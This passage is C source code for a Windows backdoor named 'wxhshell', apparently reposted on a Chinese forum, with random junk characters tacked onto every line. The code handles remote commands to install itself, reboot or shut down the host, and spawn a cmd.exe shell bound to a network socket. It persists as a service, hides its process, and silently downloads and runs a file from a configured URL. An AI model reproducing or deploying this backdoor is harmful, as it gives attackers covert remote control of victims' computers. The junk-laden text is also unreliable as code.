    break; t+ vz=`  
  } XkhGU?={  
  // 安装 }|OwUdE!R9  
  case 'i': { EvKzpxCh  
    if(Install()) h.*v0cq:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); idNra#  
    else KjNA PfL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vk4Q2P  
    break; F;L8FL-  
    } $3 =S\jyfK  
  // 卸载 TYKs2+S6  
  case 'r': { c[>xM3=e^q  
    if(Uninstall()) 8CUlE-R5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.*DlD%%  
    else ^~;"$=Wf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n'@*RvI:  
    break; f.Y [2b  
    } <Ej`zGhWz  
  // 显示 wxhshell 所在路径 I<rT\':9  
  case 'p': { 0T7t.  
    char svExeFile[MAX_PATH]; SU5O+;{`'  
    strcpy(svExeFile,"\n\r"); v&qL r+_7  
      strcat(svExeFile,ExeFile); ^D76_'{  
        send(wsh,svExeFile,strlen(svExeFile),0); GO)5R,  
    break; !(HPx@_  
    } wJZuJ(  
  // 重启 KL yI*`  
  case 'b': { iax0V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {2)).g  
    if(Boot(REBOOT)) 5P{[8PZxbV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w{*PZb4  
    else { bq2f?uD-}  
    closesocket(wsh); 9:P\)'y?  
    ExitThread(0); TwsI8X  
    } fC".K Yjp  
    break; nb.|^O?  
    } wF9L<<&B  
  // 关机 $^_6,uBM[  
  case 'd': { M1icj~Jr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jV[;e15+  
    if(Boot(SHUTDOWN)) :'<;]~f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;8Zlm9  
    else { [c1Gq)ht  
    closesocket(wsh); =kwz3Wv  
    ExitThread(0); ?d?.&nt  
    } ;Qt/(/  
    break; <aaT,J8%[  
    } v+g:0 C5 (  
  // 获取shell N& F.hi$_  
  case 's': { nTGf   
    CmdShell(wsh); {#?|&n<  
    closesocket(wsh); 0 !%G #~th  
    ExitThread(0); S`b!sT-sD  
    break; )XSHKPTQ1  
  } BH}Cx[n?~  
  // 退出 X0j>g^b8  
  case 'x': { %4M,f.[e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~V?z!3r-)  
    CloseIt(wsh); @.k^ 8hc  
    break; @?]>4+Oa0  
    } l{^s4  
  // 离开 x 4LPrF1  
  case 'q': { 5o4KV?"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G^h:#T  
    closesocket(wsh); 5cA:;{z];g  
    WSACleanup(); *rxYal4ad  
    exit(1); Ici4y*`M  
    break; W)f=\.7  
        } ;q%z\gA  
  } n;=FD;}j+  
  } l-c:'n  
l SKq  
  // 提示信息 & uwOyb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M/[_~  
} w1zMY:9  
  } 9:xs)t- _  
b[:m[^  
  return; cg]Gt1SU  
} b=sY%(2s  
rrgOp5aV"  
// shell模块句柄 :F[s  
int CmdShell(SOCKET sock) e&!c8\F  
{ XGe;v~L  
STARTUPINFO si; ^A\(M%*F  
ZeroMemory(&si,sizeof(si)); AH'3 5Kf)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /!>OWh*~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FY)]yz  
PROCESS_INFORMATION ProcessInfo; AG%[?1IXW  
char cmdline[]="cmd"; .C+(E@eyA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zHNBX Rx  
  return 0; /|&4&$  
} "|&3z/AUh  
1VG]|6f  
// 自身启动模式 v/~&n  
int StartFromService(void) |${ImP  
{ \AoqOC2u  
typedef struct <f.Eog  
{ T]/>c  
  DWORD ExitStatus; w9"~NK8xzM  
  DWORD PebBaseAddress; &ZFHWI(P  
  DWORD AffinityMask; OA}; pQ9QN  
  DWORD BasePriority; {=&( { cS  
  ULONG UniqueProcessId; j bT{K|d-  
  ULONG InheritedFromUniqueProcessId; tZg)VJQys  
}   PROCESS_BASIC_INFORMATION; 6#jql  
87S,6Y  
PROCNTQSIP NtQueryInformationProcess; KC:6^h'.  
>e.KD) qA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 74 )G.!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KMqGWO*  
a!u5}[{  
  HANDLE             hProcess; T?Z^2.Pvc  
  PROCESS_BASIC_INFORMATION pbi; Ie _{P&J  
^ )!eiM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )ryP K"V  
  if(NULL == hInst ) return 0; XMP4YWuVc  
-U_,RMw~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !z2xm3s{]p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d9jD?HgM(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GCw4sb4~w  
!v%>W< 3Q  
  if (!NtQueryInformationProcess) return 0; %2\Pe 2Z  
h|Qb:zEP,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z_KCG2=5  
  if(!hProcess) return 0; *h).V&::O  
rp1+K4]P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [wQJVYv  
&IRM<A!8  
  CloseHandle(hProcess); Ft:_6T%  
WoSKN7*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }VH2G94Ll  
if(hProcess==NULL) return 0; drwxrZt   
T I ZkN6  
HMODULE hMod; d|UH AX  
char procName[255]; 'rfs rZ?  
unsigned long cbNeeded; h"2^` )!u  
%.uN|o&n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s1%2({wP  
Xpkj44cd@  
  CloseHandle(hProcess); mkBQ TQGT  
Ia^/^>  
if(strstr(procName,"services")) return 1; // 以服务启动 b3GTsX\2|  
vKkvB;F41  
  return 0; // 注册表启动 D[YdPg@-  
} 0q1+5  
K TE*Du  
// 主模块 ( Y mIui>  
int StartWxhshell(LPSTR lpCmdLine) $'a]lR  
{ 98{n6$\  
  SOCKET wsl; 2v*X^2+  
BOOL val=TRUE; [R~@#I P!  
  int port=0; eo"XHP7ja  
  struct sockaddr_in door; 3VQmo\li  
dsK ^-e6:5  
  if(wscfg.ws_autoins) Install(); Z\)P|#L$  
!E *IktAI  
port=atoi(lpCmdLine); ~~ty9;KYL  
9<Th: t|w  
if(port<=0) port=wscfg.ws_port; f+c{<fX  
yW_goS0  
  WSADATA data; w;Pe_m7\EO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U[@B63];0  
:{xu_"nYr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g-+/zEOUS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ` -<S13  
  door.sin_family = AF_INET; D6FG$SV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kf)s3I/`(  
  door.sin_port = htons(port); \5) ZI'q  
-]Oi/i,{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nn5sD3z#  
closesocket(wsl); J\I`#  
return 1; XToYtdt2  
} Fi+,omB&  
~^eC?F(  
  if(listen(wsl,2) == INVALID_SOCKET) { g aXF3v*j  
closesocket(wsl); vmtmiN8;d  
return 1; Tr HUM4  
} 16N`xw+{  
  Wxhshell(wsl); j 2Jew  
  WSACleanup(); Fw"x4w  
gHU0Pr9'  
return 0; !=+hU/e  
z#olKBs  
} E>}3MfL  
55x.Q  
// 以NT服务方式启动 )$FwB6^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N5fMMi(O  
{ RXbZaje$  
DWORD   status = 0; ]<E\J+5K  
  DWORD   specificError = 0xfffffff; SL%lY  
xTdh/}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x$V[xX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :B4X/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6:Fb>|]*PY  
  serviceStatus.dwWin32ExitCode     = 0; I?2S{]!?  
  serviceStatus.dwServiceSpecificExitCode = 0; /I`A wCx  
  serviceStatus.dwCheckPoint       = 0; M0+xl+c+  
  serviceStatus.dwWaitHint       = 0; yK1@`3@?  
m?Tv8-1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  `7v"(  
  if (hServiceStatusHandle==0) return; d) i:-#Q  
>iZ"#1ZL2O  
status = GetLastError(); d:j65yu  
  if (status!=NO_ERROR) 7gX#^YkE+k  
{ Pv- i.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v:$Ka@v6  
    serviceStatus.dwCheckPoint       = 0;  I&m C  
    serviceStatus.dwWaitHint       = 0; c#-o@`Po  
    serviceStatus.dwWin32ExitCode     = status; 0j}!4D+  
    serviceStatus.dwServiceSpecificExitCode = specificError; mE|?0mRA %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .paKV"LJ  
    return; {WYJQKs8  
  } ]0Y5 Z)3:z  
h83W;s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5]-q.A5m  
  serviceStatus.dwCheckPoint       = 0; 9oe=*#Ig1m  
  serviceStatus.dwWaitHint       = 0; |n*nByL/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @%aU)YDwi  
} 8)Z)pCN  
(_9u<  
// 处理NT服务事件,比如:启动、停止 xF/u('A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kYW>o}J|  
{ jDWmI% Y.  
switch(fdwControl) })V^t3  
{  z(Y zK  
case SERVICE_CONTROL_STOP: O`M 6 =\  
  serviceStatus.dwWin32ExitCode = 0; I_dO*k%l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y-.<iq  
  serviceStatus.dwCheckPoint   = 0; j[ fE^&  
  serviceStatus.dwWaitHint     = 0; MWl2;qi  
  { xWiR7~E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;4MC/Q/  
  } tg R4C#a   
  return; c :d.mkF\  
case SERVICE_CONTROL_PAUSE: ;4:[kv@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d-rqZn}  
  break; ;h7W(NO~z  
case SERVICE_CONTROL_CONTINUE: ?@>PKUv{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a'Vz|S G  
  break; ITt*TuS 2c  
case SERVICE_CONTROL_INTERROGATE: K Y=$RO  
  break;  X_\$hF  
}; 'PS_|zI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Fgl zJ  
} _+aMP=H  
A)5;ae  
// 标准应用程序主函数 +$;#bw)yH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5qL;@Y  
{ u]766<Z  
j=up7395  
// 获取操作系统版本 Clo}kdkd_  
OsIsNt=GetOsVer(); L!c.1Rf_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~_]i'ii8  
w;wgh`ur  
  // 从命令行安装 N hY`_?)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Kmnt(>  
hU~up a<dD  
  // 下载执行文件 qydRmi  
if(wscfg.ws_downexe) { g9.y`o}c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  p[8H!=`K  
  WinExec(wscfg.ws_filenam,SW_HIDE); W}iDT?Qi  
} i6Fvi Zx  
@TraEBJGL  
if(!OsIsNt) { ml1My1  
// 如果时win9x,隐藏进程并且设置为注册表启动 BGrV,h^  
HideProc(); NtDxwzj  
StartWxhshell(lpCmdLine); KX^!t3l6  
} rUW/d3y  
else n_/;j$h  
  if(StartFromService()) g@Z7f y7  
  // 以服务方式启动 KLpFW}  
  StartServiceCtrlDispatcher(DispatchTable); 1Xkl.FcFw  
else ?~9o2[  
  // 普通方式启动 = tY%k!R  
  StartWxhshell(lpCmdLine); XE`u  
Qm)c!  
return 0; (o2.*x  
}
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只看该作者 1 发表于: 2006-10-10
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